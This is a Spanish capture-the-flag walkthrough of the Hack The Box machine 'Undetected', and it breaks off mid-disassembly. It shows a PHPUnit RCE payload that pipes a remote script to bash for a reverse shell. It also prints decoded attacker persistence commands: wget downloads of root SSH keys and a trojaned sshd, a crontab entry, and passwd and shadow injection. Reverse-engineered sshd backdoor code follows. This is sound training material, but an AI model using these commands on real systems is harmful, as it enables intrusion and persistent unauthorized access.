This page looks best with JavaScript enabled

Hack The Box - Undetected

 •  ✍️ sckull

Tras descubrir una vulnerabilidad RCE en PHPUnit logramos obtener acceso a al máquina. Distintos archivos que indicaban una "intrución" y "persistencia" en la máquina nos llevaron a un segundo usuario. Finalmente tras analizar distintos ficheros de Apache obtuvimos acceso privilegiado.

Nombre Undetected box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.146
Maker

TheCyberGeek

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.7, 4.6, 4.7, 5.3, 5.4],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.91 scan initiated Sat Feb 19 23:30:18 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.129.138.191
Nmap scan report for 10.10.11.146 (10.10.11.146)
Host is up (0.074s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey:
|   3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
|   256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_  256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Diana's Jewelry

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 19 23:30:31 2022 -- 1 IP address (1 host up) scanned in 12.44 seconds

Web Site

Realizando una solicitud con curl no vemos algun tipo de redirección o dominio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/undetected ❯ curl -sI 10.10.11.146
HTTP/1.1 200 OK
Date: Sat, 19 Feb 2022 23:30:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 06 Jul 2021 20:04:55 GMT
ETag: "3bb3-5c679ef832085"
Accept-Ranges: bytes
Content-Length: 15283
Vary: Accept-Encoding
Content-Type: text/html

El sitio web parece ser una tienda de Joyas, y se muestra información de esta.

image

Vemos en los botones de la tienda un dominio y subdominio, los cuales agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
<div class="banner" id="home">
	<div class="container" style="text-align:center;">
    	<h4 class="os-animation" data-os-animation="rotateInDownLeft" data-os-animation-delay="0.3s">We bring you</h4>
        <h1 class="os-animation" data-os-animation="rotateInDownRight" data-os-animation-delay="0.5s" style="font-family: Novecentowide;">DJEWELRY.HTB <br>Diana's Jewelry</h1>
        <a href="#news" class="whiteone os-animation" data-os-animation="slideInLeft" data-os-animation-delay="0.7s">LEARN MORE</a>
        <a href="http://store.djewelry.htb" class="whiteone os-animation" data-os-animation="slideInRight" data-os-animation-delay="0.7s">VISIT STORE</a>
    </div>
</div>

Observamos una lista de productos en el subdominio.

image

El sitio web parece ser estático ya que el carrito de compras y otras opciones muestran un mensaje de “migración” del sitio.
image

Directory Brute Forcing

feroxbuster no muestra más que los archivos de la plantilla del sitio web en el dominio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 π ~/htb/undetected ❯ feroxbuster -u http://djewelry.htb/ -w $MD -x php --depth 1

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://djewelry.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php]
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      317c http://djewelry.htb/images
301        9l       28w      316c http://djewelry.htb/icons
301        9l       28w      314c http://djewelry.htb/css
301        9l       28w      313c http://djewelry.htb/js
301        9l       28w      316c http://djewelry.htb/fonts

En el subdominio vemos multiples archivos php, pero la mayoria no parece tener algun tipo de funcionalidad.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 π ~/htb/undetected ❯ feroxbuster -u http://store.djewelry.htb/ -w $MD -x php --depth 1

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://store.djewelry.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php]
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      325c http://store.djewelry.htb/images
200      195l      475w     6215c http://store.djewelry.htb/index.php
200      229l      550w     7447c http://store.djewelry.htb/products.php
200      122l      337w     4129c http://store.djewelry.htb/login.php
200      134l      354w     4396c http://store.djewelry.htb/cart.php
301        9l       28w      322c http://store.djewelry.htb/css
301        9l       28w      321c http://store.djewelry.htb/js
301        9l       28w      325c http://store.djewelry.htb/vendor
301        9l       28w      324c http://store.djewelry.htb/fonts
403        9l       28w      283c http://store.djewelry.htb/server-status

www-data - User

PHPUnit RCE

Enumerando las diferentes “dependencias” en vendor/ del subdominio encontramos phpunit, que tiene una vulnarabilidad que permite ejecutar comandos de forma remota, se muestra el CVE-2017-9841, encontramos esta vulnarbilidad en el archivo /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, simplemente enviando codigo php este lo ejecutaría.

Vemos que al enviar codigo php este se ejecuta, observamos el resultado de phpinfo() en el render de Burpsuite.
image

Utilizamos shells para ejecutar una shell inversa, enviando un comando que lo ejecute.

1
2
<?php 
system("curl 10.10.14.77/10.10.14.77:1336|bash");

Con netcat a la escucha logramos obtener una shell como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
┌──(kali㉿kali)-[~/htb/undetected]
└─$ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.77] from djewelry.htb [10.10.11.146] 39736
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$

Steven - User

Enumerando los usuarios en /etc/passwd vemos que existen dos usuarios con un nombre similar, aunque solo existe un directorio principal.

1
2
3
4
5
www-data@production:/$ cat /etc/passwd|grep home
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash
steven1:x:1000:1000:,,,:/home/steven:/bin/bash
www-data@production:/$

En la carpeta /var/backups encontramos un ejecutable que le pertenece a www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
www-data@production:/var/backups$ ls -lah
total 736K
drwxr-xr-x  2 root     root     4.0K Feb 23 06:38 .
drwxr-xr-x 13 root     root     4.0K Feb  8 19:59 ..
-rw-r--r--  1 root     root      50K Feb 23 06:25 alternatives.tar.0
-rw-r--r--  1 root     root      34K Feb  8 19:05 apt.extended_states.0
-rw-r--r--  1 root     root      268 Jun  4  2021 dpkg.diversions.0
-rw-r--r--  1 root     root      172 Jul  4  2021 dpkg.statoverride.0
-rw-r--r--  1 root     root     602K Feb  8 19:06 dpkg.status.0
-r-x------  1 www-data www-data  27K May 14  2021 info
www-data@production:/var/backups$ file info
info: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dc004db7476356e9ed477835e583c68f1d2493a, for GNU/Linux 3.2.0, not stripped
www-data@production:/var/backups$

Utilizamos netcat para enviar el archivo localmente, al pasarle strings sobre el archivo vemos que parece ser un “exploit” para escalar privilegios, encontramos strings similares en el PoC de CVE-2017-7308, aunque no se muestra la string en hexadecimal.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
 π ~/htb/undetected ❯ strings info_www
/lib64/ld-linux-x86-64.so.2
[.. snip ..]
sendto
sleep
__cxa_finalize
memmem
__libc_start_main
write
libc.so.6
GLIBC_2.3.4
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
[-] setsockopt(PACKET_VERSION)
[-] setsockopt(PACKET_RX_RING)
[-] socket(AF_PACKET)
[-] bind(AF_PACKET)
[-] sendto(SOCK_RAW)
[-] socket(SOCK_RAW)
[-] socket(SOCK_DGRAM)
[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)
[-] klogctl(SYSLOG_ACTION_READ_ALL)
Freeing SMP
[-] substring '%s' not found in dmesg
ffff
/bin/bash
776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b
[-] fork()
/etc/shadow
[.] checking if we got root
[-] something went wrong =(
[+] got r00t ^_^
[-] unshare(CLONE_NEWUSER)
deny
/proc/self/setgroups
[-] write_file(/proc/self/set_groups)
0 %d 1
/proc/self/uid_map
[-] write_file(/proc/self/uid_map)
/proc/self/gid_map
[-] write_file(/proc/self/gid_map)
[-] sched_setaffinity()
/sbin/ifconfig lo up
[-] system(/sbin/ifconfig lo up)
[.] starting
[.] namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[.] done, kernel text:   %lx
[.] commit_creds:        %lx
[.] prepare_kernel_cred: %lx
[.] native_write_cr4:    %lx
[.] padding heap
[.] done, heap is padded
[.] SMEP & SMAP bypass enabled, turning them off
[.] done, SMEP & SMAP should be off now
[.] executing get root payload %p
[.] done, should be root now
;*3$"
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
[.. snip ..]
.data
.bss
.comment
 π ~/htb/undetected ❯

Vemos que la string en hexadecimal descarga un archivo con claves publicas de acceso por SSH para el usuario root, crea un cronjob para ejecutar el archivo .main , agrega un hash de contraseña para el usuario con el uid mayor a 1000 en /etc/shadow bajo el nombre [usuario]1, finalmente modifica el archivo /etc/passwd para agregar nuevamente el [usuario]1. Con ello podriamos decir que el servidor fué “hackeado” y dejaron “persistencia” creando un usuario similar al existente en este caso steven1.

1
2
3
4
5
6
7
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; 
wget tempfiles.xyz/.main -O /var/lib/.main; 
chmod 755 /var/lib/.main;
echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; 
awk -F ":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; 

awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;

Hash Password Cracking

Utilizamos john con el wordlist rockyou.txt, para obtener en texto plano el valor del hash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/undetected ❯ john hash --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ihatehackers     (?)
1g 0:00:00:15 DONE (2022-02-20 01:18) 0.06281g/s 5595p/s 5595c/s 5595C/s littlebrat..halo03
Use the "--show" option to display all of the cracked passwords reliably
Session completed
 π ~/htb/undetected ❯

Shell

Utilizando la contraseña con el usuario steven1 logramos obtener una shell por SSH y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/undetected ❯ ssh steven1@djewelry.htb # ihatehackers
steven1@djewelry.htb's password:
Last login: Thu Feb 24 00:33:00 2022 from 10.10.14.159
steven@production:~$ id
uid=1000(steven) gid=1000(steven) groups=1000(steven)
steven@production:~$ pwd
/home/steven
steven@production:~$ ls
user.txt
steven@production:~$ cat user.txt
3756735a2b22b0b6d56638bb7fb381ef
steven@production:~$

Privesc

En el archivo /etc/crontab vemos que aún existe el cronjob creado por el fichero info.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
steven@production:~$ cat /etc/crontab|grep -v "#"

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* 3 * * * root /var/lib/.main
steven@production:~$

Aunque dicho archivo no existe en la maquina.

1
2
3
steven@production:~$ ls -lah /var/lib/.main
ls: cannot access '/var/lib/.main': No such file or directory
steven@production:~$

Enumerando los archivos de steven encontramos un mail.

1
2
3
4
5
6
7
8
steven@production:~$ find / -user steven 2>/dev/null |grep -v proc
/var/mail/steven
/sys/fs/cgroup/systemd/user.slice/user-1000.slice/user@1000.service
[.. snip ..]
/home/steven/.ssh
/home/steven/.bash_logout
/home/steven/.bash_history
[.. snip ..]

Vemos que mencionan que el servicio de Apache tiene un comportamiento extraño y esta bajo investigación, mencionan que para tener acceso a la base de datos o el codigo fuente del sitio web es necesario contactar con Mark. Aunque este ultimo no existe en la maquina o algun servicio relacionado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
steven@production:~$ cat /var/mail/steven
From root@production  Sun, 25 Jul 2021 10:31:12 GMT
Return-Path: <root@production>
Received: from production (localhost [127.0.0.1])
	by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
	for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
Received: (from root@localhost)
	by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
	Sun, 25 Jul 2021 10:31:12 GMT
Date: Sun, 25 Jul 2021 10:31:12 GMT
Message-Id: <202107251031.80FAcdZ171847@production>
To: steven@production
From: root@production
Subject: Investigations

Hi Steven.

We recently updated the system but are still experiencing some strange behaviour with the Apache service.
We have temporarily moved the web store and database to another server whilst investigations are underway.
If for any reason you need access to the database or web application code, get in touch with Mark and he
will generate a temporary password for you to authenticate to the temporary server.

Thanks,
sysadmin
steven@production:~$

Modulo Apache

Tras enumerar archivos de apache encontramos que el modulo reader.load tiene una fecha distinta a la de los demás modulos. En dicho modulo se muestra la librería mod_reader.so, ambos archivos tienen la misma fecha de creación.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
steven@production:/etc/apache2/mods-enabled$ ls -lah
total 8.0K
drwxr-xr-x 2 root root 4.0K Feb  8 19:59 .
drwxr-xr-x 8 root root 4.0K Feb  8 19:59 ..
lrwxrwxrwx 1 root root   36 Jul  4  2021 access_compat.load -> ../mods-available/access_compat.load
lrwxrwxrwx 1 root root   28 Jul  4  2021 alias.conf -> ../mods-available/alias.conf
lrwxrwxrwx 1 root root   28 Jul  4  2021 alias.load -> ../mods-available/alias.load
[.. snip ..]
lrwxrwxrwx 1 root root   29 Jul  4  2021 php7.4.load -> ../mods-available/php7.4.load
lrwxrwxrwx 1 root root   29 May 17  2021 reader.load -> ../mods-available/reader.load
lrwxrwxrwx 1 root root   33 Jul  4  2021 reqtimeout.conf -> ../mods-available/reqtimeout.conf
lrwxrwxrwx 1 root root   33 Jul  4  2021 reqtimeout.load -> ../mods-available/reqtimeout.load
lrwxrwxrwx 1 root root   31 Jul  4  2021 setenvif.conf -> ../mods-available/setenvif.conf
lrwxrwxrwx 1 root root   31 Jul  4  2021 setenvif.load -> ../mods-available/setenvif.load
lrwxrwxrwx 1 root root   29 Jul  4  2021 status.conf -> ../mods-available/status.conf
lrwxrwxrwx 1 root root   29 Jul  4  2021 status.load -> ../mods-available/status.load
steven@production:/etc/apache2/mods-enabled$ cat ../mods-available/reader.load
LoadModule reader_module      /usr/lib/apache2/modules/mod_reader.so
steven@production:/etc/apache2/mods-enabled$ ls -lah /usr/lib/apache2/modules/mod_reader.so
-rw-r--r-- 1 root root 34K May 17  2021 /usr/lib/apache2/modules/mod_reader.so
steven@production:/etc/apache2/mods-enabled$

Utilizamos netcat para obtener el archivo localmente. Ejecutamos strings sobre este archivo y vemos una string codificada en base64.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 π ~/htb/undetected ❯ strings mod_reader.so
__gmon_start__
_ITM_deregisterTMCloneTable
[.. snip ..]
<=tlH
[]A\A]
D$(1
D$(dH+
reader
/bin/bash
mod_reader.c
d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk
;*3$"
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
42PA
GCC: (Debian 10.2.1-6) 10.2.1 20210110
[.. snip ..]
.debug_aranges
.debug_info
.debug_abbrev
.debug_line
.debug_str
.debug_loc
.debug_ranges
 π ~/htb/undetected ❯

Observamos esta vez que el archivo sshd está siendo modificado, tomando la fecha del archivo a2enmod y dandole a sshd la misma.

1
2
3
 π ~/htb/undetected ❯ echo d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk|base64 -d
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
π ~/htb/undetected 

Aunque ambos archivos deberían de tener la misma fecha no parece ser el caso.

1
2
3
4
5
steven@production:~$ ls -lah /usr/sbin/sshd
-rwxr-xr-x 1 root root 3.5M Apr 13  2020 /usr/sbin/sshd
steven@production:~$ ls -lah /usr/sbin/a2enmod
-rwxr-xr-x 1 root root 16K Sep 30  2020 /usr/sbin/a2enmod
steven@production:~$

SSHD Backdoor

Tanto el “exploit” (/var/backups/info) y la librería (mod_reader.so) parecieran ser algun tipo de persistencia dentro de la maquina, finalmente tenemos el archivo sshd que posiblemente sea un archivo modificado. Utilizamos netcat para obtener localmente este fichero, y utilizando Ghidra realizamos una analisis.

Descubrimos en la función auth_password() una variable tipo char declarada, llamada backdoor que tiene como longitud 32 caracteres, observamos que realiza xor a este dentro de un while, finalmente compara la contraseña con el backdoor utilizando strcmp.
image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

/* WARNING: Could not reconcile some variable overlaps */

int auth_password(ssh *ssh,char *password)

{
  Authctxt *ctxt;
  passwd *ppVar1;
  int iVar2;
  uint uVar3;
  byte *pbVar4;
  byte *pbVar5;
  size_t sVar6;
  byte bVar7;
  int iVar8;
  long in_FS_OFFSET;
  char backdoor [31];
  byte local_39 [9];
  long local_30;
  
  bVar7 = 0xd6;
  ctxt = (Authctxt *)ssh->authctxt;
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  backdoor._28_2_ = 0xa9f4;
  ppVar1 = ctxt->pw;
  iVar8 = ctxt->valid;
  backdoor._24_4_ = 0xbcf0b5e3;
  backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
  backdoor[30] = -0x5b;
  backdoor._0_4_ = 0xf0e7abd6;
  backdoor._4_4_ = 0xa4b3a3f3;
  backdoor._8_4_ = 0xf7bbfdc8;
  backdoor._12_4_ = 0xfdb3d6e7;
  pbVar4 = (byte *)backdoor;
  while( true ) {
    pbVar5 = pbVar4 + 1;
    *pbVar4 = bVar7 ^ 0x96;
    if (pbVar5 == local_39) break;
    bVar7 = *pbVar5;
    pbVar4 = pbVar5;
  }
  iVar2 = strcmp(password,backdoor);
  uVar3 = 1;
  if (iVar2 != 0) {
    sVar6 = strlen(password);
    uVar3 = 0;
    if (sVar6 < 0x401) {
      if ((ppVar1->pw_uid == 0) && (options.permit_root_login != 3)) {
        iVar8 = 0;
      }
      if ((*password != '\0') ||
         (uVar3 = options.permit_empty_passwd, options.permit_empty_passwd != 0)) {
        if (auth_password::expire_checked == 0) {
          auth_password::expire_checked = 1;
          iVar2 = auth_shadow_pwexpired(ctxt);
          if (iVar2 != 0) {
            ctxt->force_pwchange = 1;
          }
        }
        iVar2 = sys_auth_passwd(ssh,password);
        if (ctxt->force_pwchange != 0) {
          auth_restrict_session(ssh);
        }
        uVar3 = (uint)(iVar2 != 0 && iVar8 != 0);
      }
    }
  }
  if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar3;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

GDB

Ya que la función esta realizando una comparación de dos strings podríamos obtener el valorr de la variable backdoor. Utilizamos gdb para colocar un breackpoint en auth_password para obtener el valor cuando strcmp(password,backdoor).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
(gdb) disas auth_password
Dump of assembler code for function auth_password:
   0x0000555555564650 <+0>:     endbr64 
   0x0000555555564654 <+4>:     push   %r14
   0x0000555555564656 <+6>:     mov    %rsi,%r14
   0x0000555555564659 <+9>:     mov    $0xffffa9f4,%esi
   0x000055555556465e <+14>:    mov    $0xffffffd6,%edx
   0x0000555555564663 <+19>:    push   %r13
   0x0000555555564665 <+21>:    push   %r12
   0x0000555555564667 <+23>:    push   %rbp
   0x0000555555564668 <+24>:    mov    %rdi,%rbp
   0x000055555556466b <+27>:    push   %rbx
   0x000055555556466c <+28>:    sub    $0x30,%rsp
   0x0000555555564670 <+32>:    mov    0x860(%rdi),%rbx
   0x0000555555564677 <+39>:    movdqa 0x6d4b1(%rip),%xmm0        # 0x5555555d1b30
   0x000055555556467f <+47>:    mov    %fs:0x28,%rax
   0x0000555555564688 <+56>:    mov    %rax,0x28(%rsp)
   0x000055555556468d <+61>:    xor    %eax,%eax
   0x000055555556468f <+63>:    mov    %si,0x1c(%rsp)
   0x0000555555564694 <+68>:    mov    %rsp,%rsi
   0x0000555555564697 <+71>:    lea    0x1f(%rsp),%rcx
   0x000055555556469c <+76>:    mov    0x30(%rbx),%r13
   0x00005555555646a0 <+80>:    mov    0xc(%rbx),%r12d
   0x00005555555646a4 <+84>:    movl   $0xbcf0b5e3,0x18(%rsp)
   0x00005555555646ac <+92>:    movabs $0xb2d6f4a0fda0b3d6,%rax
   0x00005555555646b6 <+102>:   mov    %rax,0x10(%rsp)
   0x00005555555646bb <+107>:   mov    %rsi,%rax
   0x00005555555646be <+110>:   movb   $0xa5,0x1e(%rsp)
   0x00005555555646c3 <+115>:   movaps %xmm0,(%rsp)
   0x00005555555646c7 <+119>:   jmp    0x5555555646d3 <auth_password+131>
   0x00005555555646c9 <+121>:   nopl   0x0(%rax)
   0x00005555555646d0 <+128>:   movzbl (%rax),%edx
   0x00005555555646d3 <+131>:   xor    $0xffffff96,%edx
   0x00005555555646d6 <+134>:   add    $0x1,%rax
   0x00005555555646da <+138>:   mov    %dl,-0x1(%rax)
   0x00005555555646dd <+141>:   cmp    %rcx,%rax
   0x00005555555646e0 <+144>:   jne    0x5555555646d0 <auth_password+128>
   0x00005555555646e2 <+146>:   mov    %r14,%rdi
   0x00005555555646e5 <+149>:   callq  0x55555555f750 <strcmp@plt>             <==============================
   0x00005555555646ea <+154>:   mov    %eax,%r8d
   0x00005555555646ed <+157>:   mov    $0x1,%eax
   0x00005555555646f2 <+162>:   test   %r8d,%r8d
   0x00005555555646f5 <+165>:   je     0x55555556475f <auth_password+271>
   0x00005555555646f7 <+167>:   mov    %r14,%rdi
   0x00005555555646fa <+170>:   callq  0x55555555efd0 <strlen@plt>
   0x00005555555646ff <+175>:   mov    %rax,%r8
   0x0000555555564702 <+178>:   xor    %eax,%eax
   0x0000555555564704 <+180>:   cmp    $0x400,%r8
   0x000055555556470b <+187>:   ja     0x55555556475f <auth_password+271>
   0x000055555556470d <+189>:   mov    0x10(%r13),%ecx
   0x0000555555564711 <+193>:   test   %ecx,%ecx
   0x0000555555564713 <+195>:   jne    0x555555564720 <auth_password+208>
   0x0000555555564715 <+197>:   cmpl   $0x3,0xb4bf0(%rip)        # 0x55555561930c <options+1132>
   0x000055555556471c <+204>:   cmovne %eax,%r12d
   0x0000555555564720 <+208>:   cmpb   $0x0,(%r14)
   0x0000555555564724 <+212>:   jne    0x555555564730 <auth_password+224>
   0x0000555555564726 <+214>:   mov    0xb4cb0(%rip),%eax        # 0x5555556193dc <options+1340>
   0x000055555556472c <+220>:   test   %eax,%eax
   0x000055555556472e <+222>:   je     0x55555556475f <auth_password+271>
   0x0000555555564730 <+224>:   mov    0xb2dd2(%rip),%edx        # 0x555555617508 <expire_checked.15270>
   0x0000555555564736 <+230>:   test   %edx,%edx
   0x0000555555564738 <+232>:   je     0x55555556477c <auth_password+300>
   0x000055555556473a <+234>:   mov    %r14,%rsi
   0x000055555556473d <+237>:   mov    %rbp,%rdi
   0x0000555555564740 <+240>:   callq  0x5555555645b0 <sys_auth_passwd>
   0x0000555555564745 <+245>:   mov    %eax,%r13d
   0x0000555555564748 <+248>:   mov    0x1c(%rbx),%eax
   0x000055555556474b <+251>:   test   %eax,%eax
   0x000055555556474d <+253>:   jne    0x55555556479b <auth_password+331>
   0x000055555556474f <+255>:   test   %r13d,%r13d
   0x0000555555564752 <+258>:   setne  %dl
